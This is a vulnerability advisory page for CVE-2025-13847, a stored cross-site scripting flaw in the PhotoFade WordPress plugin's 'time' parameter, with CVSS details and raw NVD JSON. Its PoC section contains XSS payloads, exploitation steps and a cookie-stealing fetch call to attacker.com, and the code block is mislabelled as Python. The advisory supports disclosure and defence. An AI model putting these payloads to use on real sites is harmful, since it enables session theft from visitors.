Security Vulnerability Report
中文
CVE-2025-13847 CVSS 6.4 MEDIUM

CVE-2025-13847

Published: 2026-01-07 12:16:50
Last Modified: 2026-04-15 00:35:42

Description

The PhotoFade plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'time' parameter in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

PhotoFade plugin <= 0.2.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13847 PoC: Stored XSS in PhotoFade plugin 'time' parameter --> <!-- Requires Contributor-level WordPress access --> <!-- Method 1: Via WordPress Shortcode --> [photofade time='5"><script>alert(String.fromCharCode(88,83,83))</script>'] <!-- Method 2: Via Direct Parameter Injection --> <!-- When the plugin processes the time parameter without sanitization, the following payload will be stored and executed --> time = '5"><img src=x onerror=alert(document.cookie)>' <!-- Method 3: Steal Session Cookies --> <script> fetch('https://attacker.com/steal?c='+document.cookie); </script> <!-- Exploitation Steps: --> <!-- 1. Login to WordPress with Contributor account --> <!-- 2. Create/Edit a post or page --> <!-- 3. Insert PhotoFade shortcode with malicious time parameter --> <!-- 4. Save and publish the content --> <!-- 5. Any user visiting the page will execute the injected script -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13847", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PhotoFade plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'time' parameter in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin PhotoFade para WordPress es vulnerable a cross-site scripting almacenado a través del parámetro 'time' en todas las versiones hasta la 0.2.1, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes. Esto permite a atacantes autenticados, con acceso de nivel Colaborador o superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/photofade/tags/0.2.1/photo-fade.php#L96", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/photofade/trunk/photo-fade.php#L96", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/00145a6b-26fd-4cba-a446-8236438075d8?source=cve", "source": "[email protected]"}]}}